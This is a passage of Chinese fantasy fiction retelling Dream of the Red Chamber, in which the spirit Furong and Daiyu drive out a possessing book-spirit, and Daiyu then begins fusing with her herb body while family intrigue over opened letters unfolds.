一只手比她更快，抢先将裹着帕子的书本拿在手里。抖开帕子，芙蓉粗暴地撕开黏在一起，带血的书页。
麝月来不及拦，眼睁睁看着因她随意动作被撕毁的内页，“你——”
“芙蓉姐姐？”黛玉不解。
“这上面，沾的是谁的血？”芙蓉摸着血迹问。
“是二爷的吧。”袭人拭了拭眼泪。
书上还有许多乱糟糟的痕迹，溅在上面的墨汁，脚印，被踩踏的摺痕，一大片黑乎乎黏在纸张上的不知名东西。
芙蓉刮下来一点，露出下面更暗沉的，星星点点的血迹，沉在纸张中，跟墨迹交融在一起，沁出一圈毛绒绒的尖锐纹路。
这绝非是新溅上去的血迹。它们存在很久了。
芙蓉并没有过多在意，她搓了搓刮下来的黏糊糊的东西，闻到一丝若有若无的香火味道和掺杂在里面微弱的妖力。
两样东西结合起来，芙蓉便知道这一大片东西是什么了。
“可以把书给我吗？”
突如其来的声音把麝月吓了一跳。她背身，贾兰不知何时悄无声息出现在她身后。
“小爷？”
贾兰面无表情地看向她，麝月忍不住倒退两步。
贾兰跟着逼近，朝芙蓉伸出手，扬了扬唇：“把它给我，那是我的。”
回应他的是芙蓉扬起的手。
贾兰面色一沉，他脚边，圆圆的，没有四肢轮廓的影子剧烈挣扎起来。
黛玉猛地咬住下唇，眼睛瞪得圆溜溜的，袭人和麝月挨在一起，倒吸凉气。
那团黑色中倏然分出几条黑色的小蛇，箭一样咬向四人的影子。
36.第 36 章
伴随着两声尖叫，黛玉眼前一花，视野拔高，整个人在空中旋了一圈，撞入一个透着幽香的怀抱。
同样是带着潮湿味道的香气，但与阴暗腐朽不同，仿佛夏日清晨在花瓣尖上打着转的露珠，生机勃勃，清新怡人，掩盖了淡淡的墨臭味。
“唔！”
鼻尖磕在凸起的锁骨上，一股酸疼直冲天灵盖，黛玉眼中瞬间弥漫水雾。
“咕咚~咕咚~”
眼前除了一片粉色，什么也看不见，只能听到有东西滚倒在地上。
黛玉额头牢牢抵在芙蓉肩膀上，不挣扎也不动弹，还伸出手紧紧环住芙蓉的肩膀，尽量固定住自己，不给她添麻烦。
耳朵鼓噪着，剧烈的心跳带起细碎的沙沙声。
尖叫后袭人和麝月没了声息。芙蓉姐姐一定是先顾着自己了，不知道她们两个怎么样了。
“你果然不是普通人。”
沙哑的童声笃定说道。
闻言黛玉忍不住转了转头，见芙蓉并未阻止，她胆子更大了一些，扭头往旁边看。
麝月压在袭人身上，两人卧倒在地，生死不知。她们的身体盖住了影子，黛玉也没看到袭击她们的黑色小蛇在何处。
是钻进了影子里，还是藏在了某处，只等着伺机而动？
床上宝玉依然在酣睡，对外界所发生的事无知无觉。他盖着锦被，只漏出头来，所以黛玉也没有看到藏在被子中，他身体的变化。
观察了一圈，黛玉重新靠在芙蓉怀里。贾兰在芙蓉斜对面，黛玉身后，除非黛玉把脖子拧断，否则是看不见他的。因此她也没有看到贾兰如今的样子。
“贾兰”现在已经完全没有人样了。
他身上，一道道黑色从皮肤下渗出、汇聚，如结环相扣的锁链在他身上游动，脸上的纹路尤其明显，皮肤下的经络被撑得鼓鼓胀胀，几欲涨破。
人的血是红色的，但经络是青色或者青中透紫的，有粗的，有细的，凹凸不平，和几乎覆盖整张脸的黑色纹路交错在一起，像是裂开的树皮下显露出来的青色树筋。
诡异的联想并没有动摇芙蓉的心神。
“贾兰”咧了咧嘴，脸上黑色的纹路蜕皮一样簌簌掉落，在地上溅出一个个扭动的墨点子。
芙蓉皱了皱眉，抱着黛玉后退几步。
墨点子比不上“贾兰”面容的诡异，但它们在地上死命弹动的样子像是蠕动的虫子。她还未成精的时候身体也是生过虫，它们会钻进根茎中，从里到外咬烂她的根。烂了根的植物多半是活不了的。
虽然她现在压根就不怕虫子了，但眼前的一幕还是让她有点恶心。
“贾兰”似乎发现了她的不适，脸上笑容更大，墨点子也掉得更快了。
有些墨点子坠落在半空中灵活地屈身一弹，袭向芙蓉跟前。
芙蓉抓着手里的书赶苍蝇一样“啪啪”两下，墨点子腾起阵阵灰雾，消散在空中。
嗡嗡嗡的呓语声在密闭的室内被放大，它们消失的地方离得又进，这会儿黛玉终于听清了呓语的内容。
‘苟治’、‘肥马’、‘庄子’？黛玉在心里默默念着听到的词句。
只有音没有字，她只能拼拼凑凑暂时以自己想到的同音的字代替，但太过零碎的内容，她还是分辨不出来这些呓语代表的含义。
自己放出的墨点子被轻而易举打散，“贾兰”脸色阴沉，不过他脸上乱七八糟盖了一层又一层东西，很难让人看出来他的脸色。
他的这一招从来无往不利，没有人能消灭墨点，因为它们不仅仅是墨点，但眼前的人显然不在此列。
方才他想要先控制住三人作为人质，这个人抢先一步把人抱开，又踢开了剩下两人，黑蛇没钻进影子里被他召回来，让他没有发现这点。
看着芙蓉手里被当做苍蝇拍的书，“贾兰”眯起眼，抖落了更多的墨点，四面八方朝芙蓉飞射。
趁着她打“苍蝇”的功夫，另有更多的黑色墨点汇聚到他脚下，拉成细细的，如发丝一样蜿蜒的长绳，借着倒地的袭人和麝月身体的遮挡，向床上攀爬。
抽出了太多墨点，他身上缠绕的黑色已经淡了，不过有衣物的遮掩，他又在脸上刻意维持着先前的样子，倒是没让对面的人发现。
只是束缚变小，地上的影子开始不安分起来，左冲右突，逐渐露出了一点人形的轮廓。
分出一丝黑色锁链将影子重新缠紧，“贾兰”舔了舔嘴唇，必须将人拖住，他想。
要速战速决。与此同时，芙蓉也在想着。
她已经打烦了，也从被动的反击中试探出“贾兰”并没有别的手段，样子看着是唬人了一点，实际上也只有这么一点能力，连封锁房间都不知道。
要不是她动作快，尖叫声就足以把人都引过来。
但封锁不能持续太久，去打水的晴雯很快就会回来，也可能随时有人过来。
手里的书应该对它很重要，它连遮掩都不会，轻易就暴露了弱点。毁掉书就算不能重创它，也能乱扰它，到时候她也可以腾出手来，直接收拾他。
芙蓉脚下一划，大片灰雾腾起。
“君子之于禽兽也，见其生——”*
无比清晰的声音念诵着完整的句子，黛玉猛然仰头，“是孟子！”
“什么？”芙蓉手上一顿，低头问。
黛玉眼神亮晶晶的，“这些声音念的都是《孟子》的内容。”
“狗彘食人食而不知检庖有肥肉厩有肥马民有饥色都出自《孟子》。”黛玉语气急促道。*
芙蓉手腕一转，手里的书调过来，虽然沾了污渍，但黑框黄底上孟子两个字不容错辨。
“是书成精了。”黛玉震惊道。
芙蓉：“......”
想到一团团的墨点子，不就是写在书上的字么？这么说好像真是书成了精。不过这本书上妖气几乎没有，竟也能成精？
来不及多想，黛玉忽然惊呼：“姐姐，宝玉！”
芙蓉回头，攀上床头的发丝正往宝玉身体里钻。趁着她分神的功夫，“贾兰”飞身窜向床边。
余光扫到他的身影，芙蓉想也不想，脚下轻鸿一点，抬腿凌空一抽，横抽在“贾兰”腹部。
“贾兰”整个人倒飞出去。
“啊！”
这声惊叫却是黛玉的。她手臂还缠在芙蓉身上，下半身却无着落，随着芙蓉的动作身体腾空，在空中甩了半圈。
但这不是让她惊叫的原因。
芙蓉的一踢像
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是把“贾兰”踢得灵魂出窍了一样。只见“贾兰”身上猛地腾出一个跟“贾兰”一样弓着身的人形黑影。
黛玉惊得嘴巴微张，目瞪口呆地看着跟等身拓出来一样的影子。
黑影短暂维持了人形几秒，就在空中一扭，扭成一股粗壮的黑烟，一头向下，就要扎进宝玉灵台。
它要替代宝玉！这是黛玉唯一闪过的念头，但她什么做不了。
不过还有芙蓉。
一手揽着黛玉，一手拿着书，再拦已是不及，芙蓉手一抖，手里的《孟子》打着旋飞向宝玉的脸，后发先至，堪堪在黑烟扎下之前遮在宝玉灵台上空。同时她一拍黛玉，黛玉立刻放手，滑落在地噔噔噔迅速退开，提起裙子去找蜡烛。
路过袭人时，她迅速弯腰捡起他手中的通灵宝玉攥在手里。
黛玉跑开的时候，腾出双手的芙蓉抬手抓向宝玉。黑烟撞在《孟子》上，停顿了一秒，迅速散成两股想要绕过书继续往宝玉身上钻。
它的速度和反应很快，但一秒钟的迟疑已经足够芙蓉抓住宝玉。扣住它的肩膀往前一拖，宝玉被下床，滚在脚踏上。
芙蓉并不管他，双手一扣，捏了个手诀，那股黑烟顿时被她扣在掌心，四处乱撞，挣脱不得。
黛玉端着点燃的蜡烛小跑过来，探身抓住落在床上的《孟子》凑到烛火上，问：“芙蓉姐姐，要烧掉吗？”
黑烟似乎听到了她的话，挣扎得更剧烈了，可惜黛玉看不到。
突然，一只手扣住她的脚腕，黛玉受惊，跳起来猛踢两下。脚上的桎梏松开，宝玉撞在床柱上，软软歪在地上。
眨了眨眼，黛玉顿时抖了抖裙摆，小心后退，既有些心虚，又是怕宝玉身上的黑气会往她身上钻。
“姐姐。”黛玉抬头想让芙蓉帮自己看看有没有染上脏东西，谁知手上一轻，《孟子》被芙蓉抽走。
黛玉：“？”
“不能用烛火烧，会留下灰烬和味道。”芙蓉说着，指尖在《孟子》上一点，以她指尖为圆心，迅速融出一个大洞。洞飞快扩大，顷刻间，《孟子》消融，不留一丝痕迹。
她手中挣扎的黑烟发出非人的尖啸，震得黛玉一阵眩晕。
蜡烛落在地上，黛玉两手堵住耳朵，黑烟边缘卷起，像被烧糊的纸张一样往下落着灰烬，往上蒸腾着烟雾。
各色声音重叠在一起，一遍又一遍念诵着《孟子》里的句子。不只是孟子，黛玉放下手，仔细听着，那些声音还在念论语、念大学、念三字经......
等黑烟终于烧完了，念诵的声音也散去了。黛玉仰着头，良久道：“前人说书中自有黄金屋，没想到书中还有这么可怕的东西。”
“不是任何一本书都会有黑烟夺命的。”芙蓉摊开手，她手中躺着一颗红豆大小，色如鲜血的宝石。
“这是？”黛玉伸手，想拿起来看看，伸到一半又停住。
芙蓉点了点头，表示可以拿，黛玉用手绢垫着拿在手上看了看，没看出名堂。
芙蓉把宝玉重新塞回到床上，又把贾兰抱起来放到一边的椅子上，黛玉收起东西，忧心道：“兰儿怎么样了？”
“他没事。”芙蓉将团在他身边的影子提起来，道：“把他的魂塞回去就行了。”
37.第 37 章
这团影子在身体被芙蓉踢出去，黑烟又舍弃身体另择宝玉为容器的时候，追着身体拼命将它扯住，费尽力气拉了自己一把，才没让贾兰的身体磕碰到桌椅，摔得头破血流。
如今被芙蓉拎在手里，像是被捏住后颈皮的猫儿，四肢乖巧地垂落着，不敢挣扎。影子没有五官，但黛玉却从它身上感受到了害怕和恐惧。
芙蓉拎着影子在脑袋的位置戳了戳，感受了一番道：“这是地魂。”
她跟黛玉解释道：“人有三魂七魄，地魂是爽灵，主智。痴傻之人多半都是地魂有缺。幸而那东西只将地魂锁起来，没吞掉他的天魂和生魂，否则即便驱逐掉了它，人也救不回来了。”
她低着头跟黛玉说话，没有看贾兰，黛玉扯了扯她的衣袖，道：“兰儿醒了。”
椅子上贾兰睁开了眼睛，双眼直愣愣一眨不眨看着前方，果然是一副傻样。
芙蓉没再多说，提着影子将它按进贾兰身体中。
地魂归位，贾兰却没有太大变化。
“可能是地魂离体太久，又受到黑烟的影响，恢复要慢一些。不过地魂长时间收到那东西控制，恢复神智后可能也会有一些毛病，最好的结果是记忆受损，不记得这段时间的事了。”面对黛玉忧心的眼神，芙蓉道。
“只希望他不要痴傻。”黛玉道。
芙蓉：“晴雯应该快回来了，先把她们都叫醒。”
黛玉给贾兰掸掉身上沾的灰，把他的脸擦干净。
芙蓉给宝玉掖好被角，倒地的凳子扶起，屋内陈设都复原后，她把袭人和麝月唤醒。
两人迷蒙着醒来，先是看到芙蓉的脸，袭人按着额头问：“我这是怎么了？”
芙蓉道：“你们好像突然看到了什么，惊叫起来，然后就晕倒了。”
她没打算隐瞒，实话实说，就是省略了重要信息。
袭人瞬间想起了刚才的事，看到椅子上的贾兰，一退三丈远，脸上尽是惊恐。
麝月哆嗦着去看贾兰的影子，但他的影子好端端的，轮廓俱全，不知道是不是错觉，好像颜色都淡了。
他们在屋里，按理影子是该这么淡的，方才那样黑漆漆才是不正常的。
但是，这不更说明贾兰不正常。
袭人和麝月心中害怕，却又不知该怎么办。想去求救，又怕惹怒贾兰。
正不知所措时，贾兰神智慢慢恢复，他转过头来，神情还有些木讷，喃喃念道：“身上好疼。”
在地上滚了一圈磕碰到骨头，自然是疼的，他没有这份记忆，袭人和麝月也不知道，听到他说的话，再配合他呆滞的脸，更显恐怖，麝月眼睛一翻，差点再次昏厥过去。
袭人也没好到哪里去，腿软得几乎站不住。
“哗啦~”
珠帘晃动，晴雯进来，哐当把铜盆放下，嘴里抱怨道：“太太跟前的彩霞也不知道起了哪门子心，非拉着我说闲话，我当她有什么事，结果她偏不说，东拉西扯的，害我端着盆站了好半天功夫，胳膊都疼了。我可跟你们说，下回再换水，我是不去了，你们别指使我！”
自己絮叨了半天，也没人理，晴雯扭头扬眉，随即不满变为狐疑，“你们两个，见鬼了？”
袭人颤巍巍指向贾兰，还未开口，黛玉道：“你们看，宝玉好像不舒服。”
床上，宝玉浑身一颤一颤地抽动，似是十分难受。袭人和麝月顿时顾不上害怕，袭人扑到床边，压住宝玉，道：“快！去请太太。”
刚说完，宝玉陡然翻身趴在床边，“哇”地吐了出来，污湿了她的衣衫。
屋内一片慌乱，不多时，再次乌泱泱聚了一堆人，黛玉趁乱跟芙蓉离开，顺手拉走了贾兰。
贾兰神智已恢复多半，出来没多久就自行回了李纨院子，他像是完全不记得自己遭遇过什么，也不记得找书，只知道自己是来看宝玉的。
“这对他来说也算好事。”芙蓉对此并没有太意外：“虽然记忆有损，但大半事情都记得，只忘了那东西，这样不至于惊恐，也不至于因失忆而疑惑，这是最恰到好处的。毕竟有一就有二，若他不忘了，以后会比一般人更容易沾染上不好的东西。”
虽是如此，不过这事到底还是留下了一些痕迹，贾兰在读书上天分依旧，从《孟子》学到《大学》，到后来再学五经典籍，他总恍惚觉得这些典籍他似乎都看过，背诵理解起来比其他学生都快。
而宝玉这里，却很是折腾了一通。
黛玉后来听说宝玉当天吐了一肚子混着纸灰的符水出来，吐完后人清醒了一些，却傻愣愣糊里糊涂说自己梦到了大哥哥，大哥哥特别凶恶，在梦里红着眼睛让他读书，光耀门楣。他不肯，大哥哥就要打他。
惹得王夫人和李纨哭了几场。
胡话说完，宝玉又昏昏沉沉睡去，还发了一场高烧，无论如何都退不了。直烧到半夜，脸烧得通红，浑身发烫，眼看着不好了，府中忽然来了一个癞头和尚和一个跛脚道人，说是可以救人。
两人也诊脉也不开方，只拿着通灵宝玉念叨一通，重新给他挂上，他果然就好了。
“他们念的什么？该不是骂了那玉一通吧？”黛玉玩笑道。
“姑娘几时有了未卜先知的能力？”芙蓉奇道：“那一僧一道确实骂通灵宝玉是蠢
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物。”
黛玉：“......”
“那两人是有真本事的。”芙蓉又道。一僧一道来时阵仗颇大，为了显示自己高人风范，颂着经文直接闯了进来，家丁仆妇闹哄哄都没拦住。治好宝玉后两人又翩然而去。
芙蓉听到动静远远看了一眼，为防被他们认出真身，便没有靠近。
“听起来好生熟悉。”黛玉支着头，却一时想不起来是在哪里听说过这两个人。
没有头绪她索性丢开，问起黑烟。
听芙蓉一说，黛玉这才知道，先寄生贾兰，后又想侵占宝玉身体的不是那本成精的《孟子》，而是珠大哥哥。
“也并非是贾珠，应该是一股执念。”
白鹤知道她们的经历后，又看过她带回来的那颗血红宝石，道：“这是一颗七情石。”
“七情石？”
“贪嗔痴恨爱恶欲，世人皆有。七情放大到极致，又有机缘巧合，就可结出一颗七情石。”
“那本《孟子》是古本，或许是当初制书的木材有问题，或许代代流传的过程中，每一任获得它的主人都是刻苦读书，但始终郁郁不得志的书生，每一任主人的执念逐渐影响了它。最终它流到贾珠手里，染上了他的血，忽然生出了一点意识。”
“之后或许又有其他变故，最后这缕意识附到了贾兰身上，它是因贾珠而生，所以就把自己当成了贾珠。贾珠不知鬼神之事，所以它也不会什么离奇手段。听说贾珠是因考科举耗尽心血病亡，这应该也是它一心想读书的原因。”
青雀捧着脸道：“那这么说来，它其实也不算害人，只想努力当个读书人。”
何嬷嬷好笑地点了点她的额头，道：“不害人它怎么会想要占宝玉的身体。还有珠大奶奶屋里的人，不也是它害的。”
白鹤点头道：“执念到底是执念，所作之事自有自己的一套准则，很容易行偏激之举，自身受损后，第一时间也是用人气补自身。况且这颗凝练出来的七情石不是贪就是嗔，贪则不足，嗔则易怨，即便没有意外，最后它总会不满足，保不齐哪一天就生出害人之心，是早晚的事。”
黛玉一听，便觉这宝石有些烫手。
白鹤道：“能够凝练出来的七情石也不是不好的东西，它蕴含着世间最极致的情，也能容纳世间最极致的情，其实并没有好坏之分。”
最终黛玉还是将七情石收了起来，怕它有别的影响，黛玉便想将它放到杏木匣子里，反正小小一颗，也不占地方。
提到杏木匣子，芙蓉突然道：“这次宝玉免于被‘夺舍’，应当也是救了他一命，姑娘是否可以修行了？”
38.第 38 章
“可我并没有出力，都是芙蓉姐姐帮的忙。”
跟又惊又喜的何嬷嬷等人不同，黛玉自知自己几乎全程都是个旁观者，最多点了根蜡烛，还没用上，算不得是她救了宝玉。
“可以试一试，成与不成另说。”白鹤道。
于是黛玉取出了绛珠草，将它握在手里，然后呆愣着不知道要怎么做了。
白鹤和芙蓉见状，并没有给她出主意。情况不同，她们不能乱教。
黛玉就这样盘腿坐着，盯着手上的绛珠草。盯了一会儿，她撇开眼，开始晃神。
思绪不知不觉就回到师姐将绛珠草交给她的那天。
那时她又生了一场病。未曾修行前，生了病还可以吃药，药汁子虽苦，但总有些效果。
但那场病一般的药于她而言却没有作用。
那时，她修行所得的力量在不知不觉中逸散。两位姐姐想了许多办法，都帮不上忙，她们也找不到可以求助的人，只能看着她一点点虚弱下去。
就在她们六神无主的时候，师姐来了，带着一株草，说那草是她。
从她虚弱开始，远在其他地方的师父就知道。虽然没有见到她当时的样子，但师父有法子知道她身上发生的事，并顺着她力量流失节点往前推算，然后找到了她的本体，并让师姐帮她取来。
那会儿师姐才知道她不人。嗯，最晚知道的大概是她自己。
原来她前世是一株仙草，今生投胎成了人，而草身上还纠缠了一段因果。不想办法了结因果，再如何修行也只会散干净。
力量散干净后还不会结束，接下来散的是精气，等精气散完，她整个人都被抽干，那是便是她身体的死期，她就会重新变成一株草。
摇了摇头，黛玉收回思绪，再次看向绛珠草。
师姐说，人身于修行上有天然的优势，这是因为人是气运所钟。许多妖精鬼怪修到后来，总会执着于修一具人身出来。即便在妖眼中，本体才是最好看的。故而虽然脱出人身回归本体立刻就能得到一身修为，师姐却不让她这么做。
不过本体亦有自己的用处。就像虎豹等兽类修了人身，却不会为了人身舍弃自己的利爪和牙齿一样，越是本体强悍的妖怪越明白这点，他们或多或少还会在人生上保留一点本体的特征。
当然，强悍跟绛珠草扯不上什么关系，黛玉左看右看，都只看出来它是一颗草而已，还是生了“病”的草。
师姐之所以要把它摘回来，最大的原因应该是怕它流落在外，也许有人会利用它对自己不利。
她听芙蓉和白鹤说过好多这样的故事。有擅咒的修者，能凭发丝、血液甚至一缕气息就能诅咒他人，更何况是她前世完整的身体。叶子红珠拆开来，够咒她十次八次的了。
所以为了避免本体被人利用，最好是把它带在身边，但更好的方法是将本体与人身融合，两者合二为一。
师姐并没有告诉她要怎么融合，只说到时候她自会明白。可她想不明白，本体倒是会“吃”她，她却不知道怎么“吃”本体。
出神之际，一个脑袋伸出来，挡在了绛珠草上面。
青雀趴在她跟前，眨巴着眼睛问：“姑娘想到怎么融合了吗？”
她捂着嘴小声道：“我可以教姑娘，不跟两位姐姐说。”
黛玉抬眼，何嬷嬷三人不知道什么时候不见了，只剩下她和青雀，也许是想单独给她留下空间。
“白鹤姐姐没让你一起出去？”
“我出去了，又回来了。她没说不能回来。”
不是没说，应该是没有料到。以前青雀可听话了，就黛玉所知，她挺怕白鹤和芙蓉两个“大妖怪”的，从来不敢干阳奉阴违的事。
这会儿竟然都学会找话里的漏洞了。黛玉敢肯定，白鹤姐姐是知道她不敢溜回来，才没有特意交代的。
不过显然她这次料错了。
“你最近都跟谁一起玩？”黛玉问。
这些日子都是芙蓉姐姐跟着她，她也不拘着青雀，青雀贪玩，自个儿会找地方打发时间。
何嬷嬷还跟她说过，说青雀一大早就出去，总到傍晚才回来，也不知野到哪里去了。
青雀会如此，应该是跟府里的人学的，黛玉几乎没有犹豫，就把原因扣在了贾家下人身上。
“好多。”青雀一一数着，有些黛玉知道是谁，有些人她就完全对不上。
“他们可有趣了。”青雀扬起大大的笑容。
“他们都肯跟你玩？”黛玉可是知道下人们都是什么样的。小丫头就算了，当是玩伴一起乐呵，青雀说的这些人里可是有一些老妈妈。黛玉见过的老妈妈们，没一个是好相与的。
“先开始不肯，后来就肯了。”青雀道。
“我听她们说了好多事，姑娘一定不知道。”她神神秘秘道：“而且我还知道赤霞膏哪儿去了。”
说完，她眼神闪亮亮的，满眼都写着‘快问我吧，快问我吧’。
黛玉抵着她的脑袋往外推，“你先把脑袋正过来再说。”
她的样子实在是吓人，人是趴着的，脑袋却是拧过来，脸朝着背的。换个人早就吓死了，难为黛玉还能一本正经跟她说这么多。
不过她也不是第一次见了，青雀有时候会图方便，就这样随意拧着脑袋说话。也是雀鸟天生头部就可以这样转而不受伤，不然黛玉还真担心她哪次没收住，把脖子拧断了。
“哦。”青雀把头抽回去正回正常的样子，又舒展了一下肩膀，像抖羽毛一样抖了抖身体。
抖完也不等黛玉再问，她自己就交代了：“是李妈妈偷的。”
“宝玉的奶妈？”
“嗯。”青雀连连点头。
“她给谁偷的？”没见李奶妈受伤啊。
“就是为她自己呀。”
青雀绘声绘色道：“她赌钱输了，看装膏子的小罐子值钱，又小，不起眼，没了一时半会儿也不会发现，就偷出去卖了。有人看见她把膏子挖出来用水涮了拿走的。”
“她真不识货，膏子比那个小罐值钱多了。”
“他们说宝玉房里总丢东西，好些其实都是被偷偷拿去卖了，不只李妈妈。”
“还有人会造假。姑娘知道什么是造假吗？就是做一个一模一样的东西，用这个假的把真的换走，就谁也发现不了了！比李奶妈直接偷高明多了。”
黛玉不知该做何感想，她料到有家贼，却没料到家贼竟然都有一套成熟的手段。
青雀能听到，说明不算是大秘密，底下的
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人干的不是一次两次，但上头的主子们却浑然不觉，这府里不知道被神不知鬼不觉搬了多少东西出去。
“这不是好事，你再听到，不可往跟前凑，知道吗？”黛玉严肃道。
“我知道。”青雀道：“姑娘放心，这是我偷偷听到的。这种事她们才不会当面跟我说，是有人悄悄说被我发现了，我只告诉姑娘一个人。”
还不如不跟她说，知道了也不过是烦心，黛玉心道。
她叮嘱青雀：“你再同她们玩可以，但有谁叫你做什么，你万不可去。若有人还一个劲撺掇你，你只说我不准，是要挨罚的。”
“何嬷嬷也跟我说了。他们那些事我也听厌了，再不找他们就是了。”
闲话完，青雀又说要教她跟怎么跟绛珠草融合。
黛玉无奈，比她厉害的两个都没说能教她，反倒是青雀在这里叽叽喳喳。
“那你说说，我且听一听。”
青雀轻了轻嗓子，道：“只要想，然后动就可以了。”
以为她有什么高论的黛玉：“......”
青雀展开手臂，道：“就像我想飞，也不是谁教的。从树上摔下来，如果摔死之前不能学会飞，现在就没有青雀了。翅膀是我的，我想飞，煽动翅膀，自然就能飞起来了。”
“绛珠草是姑娘，姑娘是绛珠草，你们本来不就是一体的吗？”
黛玉愣住了。
是啊，她和它本来就是一体，自然就该融合的。
黛玉想着，不自觉盘腿坐起来，一呼一吸开始吐纳。她其实没学过任何厉害的术法，只会这一种呼吸之法。
所有道法都是后天的，该她会的，不需要人教，自然就会了，这是师父跟她说的。
“咦？”
“青雀！不是叫你出去？！”
青雀打了个哆嗦，对上白鹤严厉的眼神，急声道：“白鹤姐姐，咱们快走吧，姑娘入定了，不要打扰她。”
白鹤看向黛玉，“回头再跟你算账。”
两人一前一后出去，带上了门。
谁也没注意到黛玉还没收起来的七情石忽然消融成一团红雾，流向绛珠草。
红雾与绛珠草中灰色的细丝相逢，两相消磨。
-*
茫茫大士和渺渺真人飞快穿梭在山林中。
“大士，大士，且住！”
茫茫大士停下脚步，“怎么？咱们还得快赶到那处，不可停留。再不去就来不及了。若非那蠢物突然遭了劫，我等也无需如此来回奔波。”
渺渺真人跛着脚追来，拍着大腿道：“大士，方才天机又有变数了！”
“什么？”茫茫大士一惊：“又是哪个？”
“还能是哪个？就是绛珠！”
茫茫大士掐指一算，天机模糊不清，“这、这......先前乱过一次，不是正过来了，怎的又乱了？”
渺渺真人叹道：“如今命数接二连三生变，该如何是好？咱们要不要回去看看。”
茫茫大士放下手，道：“不去，还是往那儿，若那里也赶不及——”
他一咬牙：“这事儿就不管了！”
说完，他朝原先的方向飞奔，渺渺真人连忙跟上，“大士，且等一等我！”
39.第 39 章
“笃——笃——”
“定是二哥哥来了。”探春拿着小铲子给花盆松土，听到一声近过一声的敲击声，笑着道。
惜春端着一个糯青莲瓣洗，里面装了一半清水，水上稀稀疏疏浮着一层棕褐色的壳子，又有淡紫色椭圆状绿豆大小的东西沉在水下。她将莲瓣洗微微倾斜，有几个“绿豆”咕噜噜滚到边缘，大约只有三四颗“绿豆”牢牢扒在莲瓣洗中间。
她一瞬不瞬盯着中间的“绿豆”，嘴上道：“也只能是他了，谁杵着拐杖跟他一样，老是拖拖拉拉在地上磨蹭的，他腿又没伤着。”
迎春拍下手中的散土，朝司棋招手，司棋捧了个盆过来，她洗干净手，见宝玉在三丈远的地方停住不动，倚在拐杖上，又不知看什么入了迷，对惜春道：“亏他离得远，没听到你在背后排揎他。”
“二哥哥就是听到了，也只当四妹妹是好意，又不会生她的气。”探春弄好了自己的花盆，远远问道：“二哥哥又来给林姐姐送种子了？”
宝玉回神，道：“林妹妹没同你们一起？”
说着，他又拖着他的拐杖“笃——笃——”地往前走。
“你不知道？林姐姐家的管家来了，正说话呢。”探春道。
宝玉摇头。
探春无奈道：“二哥哥还真是两耳不闻窗外事。”什么都不关心。
府里压抑得紧，老太太命着上上下下查人，还是从他屋里起的头，他却跟个没事人似的，还有心思到处闲逛。
如今也只有林姐姐这里清静一些。她们每日结伴过来跟着林姐姐养花，躲一躲闲。
宝玉已经被惜春手里的莲瓣洗吸引，压根没听到她的话，缠着惜春问里面泡的是什么种子。
惜春被他问烦了，只说是林姐姐给的稀罕种子，是种在水里的，不知道叫什么名儿。
宝玉更稀奇了，丢了拐杖要蹲下来跟她一起看。
探春连忙道：“你快别折腾了，才刚醒没两天，背上的伤还没好全，当心扯到皮肉再加重伤势。”又命人给他搬了椅子，垫上软和的厚垫子，才让他坐下。
宝玉谢过她，伸手要捞水里的壳子，惜春不让，说是留着有用，怕他再下手，端着莲瓣洗往抱月亭去。
几人在这里玩闹，被他们提到的黛玉正在读信。
来贾家也有三四个月了，她陆续给扬州寄了几封信，这还是第一次收到爹爹给她的回信。
信很厚，似是攒着一起送来的。
黛玉从头读到尾，忍不住落下泪来。
“姑娘莫哭。”林管家道：“老爷一切安好。”
黛玉小心叠好信纸，让芙蓉收起来，道：“爹爹既然都好，怎么当时不曾回信？”
“还有，”黛玉看了眼窗外，压低了声音，“这封信是不是被人拆过？”
林管家眼中的惊讶一闪而过，“姑娘怎么看出来的？”
“信虽是重新封好了，但信纸上有不同的折痕，想是有人拆开看过，又重新折了塞回去，只是信太厚了，折不成原来的样子。”
林管家轻叹一声，道：“不想姑娘这般聪明。”
等于是直接承认了她的话。
黛玉抿唇。换成几天前，她是看不出差别的，但现在她眼力好了许多，能够轻易看出不同。其实折痕不是最明显的，最明显的是信纸上留下的味道。
前几天，她被青雀一番话点拨，打坐吐纳了一晚，竟真的融合了绛珠草，虽然只融了一点点——绛珠草上挂着的一串红珠少了两颗。只这一点，她身上就有了明显变化。她的五感敏锐了许多，尤其是嗅觉。
她能分辨出每个人身上各种各样的味道，尤其是熏香的味道。绝大部分熏香都是草木制成，她对此格外敏感，甚至能闻出来每一种熏香中哪种草木掺了多少。
因着这点，她最近都不爱出门了，爱上了养花。实在是外面人来人往，味道太杂，又互相沾染，混成新的味道，冲人的很，闻多了头疼。
从信封和信纸上，她闻出了一种特别的味道，是一种带着腥气的铁锈味。这种味道，她在白妈妈那里闻到过，很淡，那会儿厨房里的人刚杀了两条鱼和一只鸡，白妈妈身上染了一些。
信上的味道比信封上要重很多，是长时间接触才能染上的。爹爹总不可能写完信，给厨房的人看一遍再封上。
林管家不知道其中内情，他轻声道：“老爷的信确实叫人拆过。”
“是谁拆的？”
林管家：“这就不大清楚，不过老爷又派人送了口信，虽没明说，但许是跟......脱不了干系。”
他比划了一下，青雀一下子就看懂了，何嬷嬷之前也这么比划过——跟皇帝有关。
青雀觉得自己聪明了很多，瞬间乐滋滋的，何嬷嬷瞅了她一眼。
林管家道：“老爷说，他一时半会儿回不了京，许是在如今的位置上还要再呆三年。”
黛玉不大懂这事，点点头。
林管家见状就知道老爷没跟姑娘说过这事。他跟着姑娘一起来京的时候，老爷私下跟他说过，说他已经走动了关系，谋求调任回京，那时已经有些眉目了，不出意外，今年年底就能回京。
却不想当真出了意外。
也不知当今是怎么想的，若说不是因盐政猜忌老爷，为何要私下里拦截老爷的家书。若说有了疑心，又为
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何还要老爷再管三年盐事。
只能说君心难测，圣命难违。
见林管家不说话，黛玉又问是谁来传的口信，林父身体如何，家中是否安好等等。
林父心中都有写，自然是都说好的，但黛玉已是知道信被拦截的事，便不怎么相信信中的内容了。
林管家道：“我也问过了。姑娘放心，老爷的身体也是调理过的，面上看不出来，却是比以前要强健许多的。只是入了夏以后，天热起来，还是跟以往一样苦夏。”
他没一味说好，黛玉反倒信了七分。
“姑娘与老爷一样，最是受不得热的，我进来时仿佛听说姑娘又病了？”林管家细细观察黛玉的脸色，好像是苍白了一些。
“看了大夫不曾？”
黛玉忙道：“有姐姐嬷嬷们在，我也很好。是府里不安生，我不大出去走动，索性便称了病。每日姐妹们都来陪我，说笑一日也开心。”
林管家也是看到了三春的，道：“今日进府，确实不同以往。是出了事？”不过他看着不像是坏事，一路从二门外过来，见到的下人都规矩了许多。
何嬷嬷简略说了说府里的情况。
“原来如此。”林管家道。这么说来，他们家少不得也要查一查才是。
